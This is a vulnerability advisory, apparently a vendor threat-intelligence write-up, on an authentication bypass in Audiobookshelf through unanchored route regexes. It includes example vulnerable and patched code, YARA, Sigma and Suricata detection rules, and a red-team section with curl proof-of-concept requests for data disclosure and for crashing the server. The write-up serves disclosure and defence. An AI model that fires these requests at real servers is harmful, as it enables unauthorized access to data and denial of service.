CVE-2025-25205
Executive Summary
CVE-2025-25205 is a critical authentication bypass vulnerability in Audiobookshelf, a self-hosted audiobook and podcast server. The flaw resides in the application's URL routing logic, where unanchored regular expressions allow unauthenticated attackers to craft URLs that partially match protected API routes. By embedding a valid API path (e.g., /api/items/1/cover) as a query parameter value, an attacker can bypass authentication checks and either access protected data (information disclosure) or trigger a server crash (denial of service) if the downstream code expects an authenticated user object. The vulnerability affects all versions from 2.17.0 up to (but not including) 2.19.1. The CVSS score is 8.2 (High), with a vector emphasizing network-based, low-complexity attacks requiring no privileges or user interaction. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at the time of analysis, but the public availability of PoC details increases risk. No official exploit-db or nuclei templates are available, but the attack logic is straightforward.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Audiobookshelf is a Node.js application distributed via npm and Docker. The vulnerability is in the application's own routing logic, not in a third-party dependency. However, organizations using Audiobookshelf should verify their deployment method (npm, Docker, or manual build) and ensure the patched version (2.19.1) is obtained from the official GitHub repository or npm registry. No malicious packages have been reported in relation to this CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 8.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or race conditions required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): None – No user action required.
- Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High – Unauthorized access to protected data (e.g., audiobook metadata, covers).
- Integrity (I): None – No data modification possible.
- Availability (A): High – Server crash leading to denial of service.
Threat Level: High. The combination of remote exploitability, no authentication, and potential for both data disclosure and DoS makes this a serious threat for any exposed Audiobookshelf instance.
Deep Dive & Mechanics
The vulnerability stems from the use of unanchored regular expressions in the route matching logic of Audiobookshelf's Express.js-based API. When a request arrives, the server checks the URL path against a set of regex patterns to determine if authentication is required. The flawed patterns do not use anchors (e.g., ^ at the start and $ at the end), allowing a substring match.
For example, a protected route like /api/items/:id/cover might be matched by a regex such as /api/items/.*/cover. An attacker can craft a URL like:
GET /?r=/api/items/1/cover HTTP/1.1
The server's routing logic sees the query parameter r containing the substring /api/items/1/cover. Because the regex is unanchored, it matches this substring within the query string, and the server incorrectly treats the request as if it were targeting the protected API endpoint. The authentication middleware is bypassed, and the request is processed, potentially returning sensitive data or causing a crash if the handler expects an authenticated user object.
The core issue is that the regex patterns should be anchored to the start and end of the path (e.g., ^/api/items/.*/cover$), but they are not. This allows partial matches anywhere in the URL, including query parameters.
Vulnerable vs. Patched Code
Vulnerable Code (pre-2.19.1):
// Example of flawed route matching
const protectedRoutes = [
/\/api\/items\/.*\/cover/,
/\/api\/users\/.*\/profile/
];
function isProtectedRoute(path) {
return protectedRoutes.some(regex => regex.test(path));
}
In this example, regex.test(path) will return true if the pattern is found anywhere in path, including within query parameters.
Patched Code (2.19.1):
// Example of fixed route matching
const protectedRoutes = [
/^\/api\/items\/.*\/cover$/,
/^\/api\/users\/.*\/profile$/
];
function isProtectedRoute(path) {
// Extract only the pathname, ignoring query string
const url = new URL(path, 'http://localhost');
return protectedRoutes.some(regex => regex.test(url.pathname));
}
The fix involves:
- Adding
^and$anchors to the regex patterns. - Parsing the URL to extract only the pathname, stripping query parameters before matching.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running Audiobookshelf instance (version 2.17.0 to 2.19.0) accessible over the network.
- No authentication required.
Exploit Steps:
- Identify a protected API endpoint, e.g.,
/api/items/1/cover. - Craft a request where this path appears as a query parameter value:
GET /?r=/api/items/1/cover HTTP/1.1 Host: target:port - Send the request. If successful, the server will return the cover image or metadata without authentication.
- For denial of service, target an endpoint that expects an authenticated user object, e.g.,
/api/users/me. Craft:
The server may crash if the handler tries to access properties of a null user object.GET /?r=/api/users/me HTTP/1.1
Proof of Concept (PoC) using curl:
# Information disclosure
curl -v "http://target:1337/?r=/api/items/1/cover"
# Denial of service (may crash server)
curl -v "http://target:1337/?r=/api/users/me"
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for requests with unusual query parameters containing API paths (e.g.,
?r=/api/). - Look for repeated requests to
/with varyingrparameter values. - Alert on HTTP 500 errors that coincide with such requests (indicating a crash).
Defense:
- Immediately upgrade to version 2.19.1 or later.
- If upgrade is not possible, implement a reverse proxy (e.g., Nginx) to block requests containing
/api/in query parameters:if ($args ~* "/api/") { return 403; } - Restrict network access to the Audiobookshelf instance using a firewall or VPN.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to the root path (
/) with query parameters containing/api/substrings. - Example:
GET /?r=/api/items/1/cover HTTP/1.1 - Repeated HTTP 500 errors from the server.
- HTTP requests to the root path (
- File IOCs:
- Server logs showing unusual query parameter patterns.
- Crash dumps or core files if the server crashes.
- Behavioral IOCs:
- Unauthenticated access to protected resources (e.g., audiobook covers, user profiles).
- Unexpected server restarts or downtime.
Detection Engineering
YARA Rule
rule CVE_2025_25205_Audiobookshelf_AuthBypass {
meta:
description = "Detects HTTP requests exploiting CVE-2025-25205 in Audiobookshelf"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-25205"
severity = "high"
strings:
$query_pattern = /[?&]r=\/api\// nocase
condition:
$query_pattern
}
Sigma Rule
title: Audiobookshelf Authentication Bypass via Query Parameter
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with query parameters containing API paths, indicating exploitation of CVE-2025-25205.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-25205
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "/api/"
condition: selection
falsepositives:
- Legitimate API requests with query parameters containing "/api/" (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-25205 Audiobookshelf Authentication Bypass Attempt"; flow:to_server; content:"GET"; http_method; content:"/"; http_uri; pcre:"/[?&]r=\/api\//Ui"; classtype:attempted-recon; sid:10000001; rev:1;)
Remediation & Mitigation
Immediate Remediation:
- Upgrade Audiobookshelf to version 2.19.1 or later. This is the only complete fix.
- If using Docker, pull the latest image:
docker pull ghcr.io/advplyr/audiobookshelf:latest
Mitigation (if upgrade is not possible):
- Deploy a reverse proxy (Nginx, Apache) and add rules to block requests with
/api/in query parameters. - Restrict network access to the Audiobookshelf instance using a firewall or VPN.
- Monitor logs for exploitation attempts and block offending IPs.
Long-term Recommendations:
- Implement regular expression anchoring best practices in all route matching.
- Use a web application firewall (WAF) to detect and block such bypass attempts.
- Conduct regular security audits of custom route logic.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert